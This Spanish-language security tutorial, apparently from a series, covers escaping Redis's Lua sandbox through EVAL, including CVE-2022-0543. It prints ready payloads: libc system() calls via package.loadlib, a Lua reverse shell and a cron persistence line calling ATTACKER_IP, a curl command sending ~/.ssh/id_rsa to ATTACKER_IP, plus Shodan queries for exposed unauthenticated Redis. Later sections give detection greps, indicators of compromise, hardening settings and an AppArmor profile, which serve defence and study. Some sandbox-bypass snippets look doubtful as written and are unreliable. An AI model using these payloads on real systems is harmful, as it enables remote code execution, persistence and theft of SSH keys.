Redis y el Peligro de Eval
Redis, la popular base de datos en memoria, permite ejecutar scripts Lua mediante el comando EVAL. Aunque Lua está "sandboxeado" para seguridad, existen múltiples formas de escapar del sandbox y ejecutar comandos del sistema.
Impacto Crítico
Un atacante que logre escapar del sandbox Lua puede:
- Ejecutar comandos shell arbitrarios (RCE)
- Leer/escribir archivos del sistema
- Escalar privilegios si Redis corre como root
- Pivotar a otros servicios internos
1. El Sandbox de Lua en Redis
¿Qué está Permitido?
Por defecto, Redis deshabilita funciones peligrosas de Lua:
Funciones bloqueadas
lua-- ❌ Bloqueadas por defecto
os.execute() -- Ejecutar comandos shell
io.open() -- Abrir archivos
require() -- Cargar módulos externos
loadfile() -- Cargar código desde archivo
dofile() -- Ejecutar archivo LuaScript Lua Básico en Redis
Ejemplo legítimo
bashredis-cli EVAL "return redis.call('GET', 'mykey')" 0
# Incrementar contador atómicamente
redis-cli EVAL "local val = redis.call('GET', KEYS[1]) or 0; redis.call('SET', KEYS[1], val+1); return val+1" 1 counter2. Bypass del Sandbox
Técnica 1: Package.loadlib (CVE-2022-0543)
En versiones vulnerables, package.loadlib permite cargar librerías nativas:
Payload - Cargar librería maliciosa
lua-- Cargar libc.so para acceder a system()
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/libc.so.6", "system")
io_l("id > /tmp/pwned.txt")Ejecución en Redis
redis-cli EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/libc.so.6","system"); io_l("whoami > /tmp/output.txt")' 0
# Verificar
cat /tmp/output.txt
# redis
Versiones Afectadas
Redis
< 6.2.7 y < 7.0 con Debian packages que incluyen librería LuaJIT vulnerable.Técnica 2: Debug Library Abuse
Payload - Usar debug.getregistry()
lua-- Acceder al registro de Lua para restaurar funciones bloqueadas
local dbg = debug.getregistry()
local io = dbg.io
local file = io.open("/etc/passwd", "r")
local content = file:read("*all")
file:close()
return contentTécnica 3: Metatable Manipulation
Payload - Modificar metatables
lua-- Manipular metatables para acceder a funciones protegidas
local mt = getmetatable(_G)
if mt then
local __index = mt.__index
local os = __index.os
return os.execute("cat /etc/passwd")
end3. Explotación Completa
Reverse Shell con Lua
Payload - Reverse Shell
lua-- Cargar socket library y conectar a atacante
local socket = package.loadlib("/usr/lib/lua/5.1/socket/core.so", "luaopen_socket_core")()
local tcp = socket.tcp()
tcp:connect("ATTACKER_IP", 4444)
while true do
local cmd, err = tcp:receive()
if not cmd then break end
local io_l = package.loadlib("/lib/x86_64-linux-gnu/libc.so.6", "system")
io_l(cmd)
endListener en máquina atacante
nc -lvnp 4444
# Al recibir conexión, puedes ejecutar comandos:
whoami
id
cat /etc/redis/redis.conf
Escribir Cron Job Malicioso
Payload - Persistencia vía cron
lua-- Escribir cronjob para reverse shell persistente
local io_l = package.loadlib("/lib/x86_64-linux-gnu/libc.so.6", "system")
io_l("echo '* * * * * /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"' | crontab -")Robo de Claves SSH
Payload - Exfiltrar SSH keys
lualocal io_l = package.loadlib("/lib/x86_64-linux-gnu/libc.so.6", "system")
io_l("cat ~/.ssh/id_rsa | curl -X POST -d @- http://ATTACKER_IP:8000/exfil")4. Detección de Explotación
Monitorear Comandos EVAL
Log analysis con grep
bash# Revisar logs de Redis
grep "EVAL" /var/log/redis/redis-server.log
# Buscar patrones sospechosos
grep -E "(package.loadlib|debug.getregistry|os.execute)" /var/log/redis/redis-server.logMonitor en Tiempo Real
Usar MONITOR de Redis
bashredis-cli MONITOR | grep -i "eval"
# Salida sospechosa:
# EVAL "local io_l = package.loadlib..." 0Indicadores de Compromiso (IOCs)
- Comandos EVAL con
package.loadlib - Conexiones de red inesperadas desde proceso Redis
- Archivos creados en
/tmp/o/var/tmp/ - Cambios en crontabs de usuario redis
Mitigación y Hardening
Mejores Prácticas de Seguridad
- Actualizar Redis: Usar versión ≥ 6.2.7 o ≥ 7.0 (parchan CVE-2022-0543)
- Deshabilitar EVAL: Renombrar comando EVAL en redis.conf
- Firewall: Redis NO debe estar expuesto a Internet
- Autenticación: Siempre usar
requirepass - Usuario No-Root: Nunca correr Redis como root
- AppArmor/SELinux: Restringir capacidades del proceso
redis.conf - Configuración segura
conf# Deshabilitar comandos peligrosos
rename-command EVAL ""
rename-command SCRIPT ""
rename-command CONFIG ""
rename-command SHUTDOWN ""
rename-command FLUSHALL ""
# Autenticación fuerte
requirepass TuPasswordSeguraAqui123!
# Bind solo a localhost
bind 127.0.0.1 ::1
# Deshabilitar protected mode SOLO si usas firewall
protected-mode yes
# Límite de memoria
maxmemory 256mb
maxmemory-policy allkeys-lruAppArmor profile restrictivo
bash# /etc/apparmor.d/usr.bin.redis-server
#include <tunables/global>
/usr/bin/redis-server {
#include <abstractions/base>
# Permitir solo archivos necesarios
/var/lib/redis/** rw,
/var/log/redis/** w,
/etc/redis/** r,
# Bloquear ejecución de binarios
deny /bin/** x,
deny /usr/bin/** x,
deny /sbin/** x,
# Bloquear acceso a archivos sensibles
deny /etc/passwd r,
deny /etc/shadow r,
deny /root/** rw,
}5. Hunting en Shodan
Queries para encontrar Redis expuestos
textproduct:"Redis" port:6379
# Redis sin autenticación
"redis_version" -"Authentication required"
# Redis con EVAL habilitado
"redis_version" "eval"Encontrar instancias Redis expuestas en Shodan es trivial. Miles de servidores vulnerables están accesibles públicamente sin autenticación.
Siguiente: Cassandra Injection
Cassandra CQL InjectionPor Aitana Security Team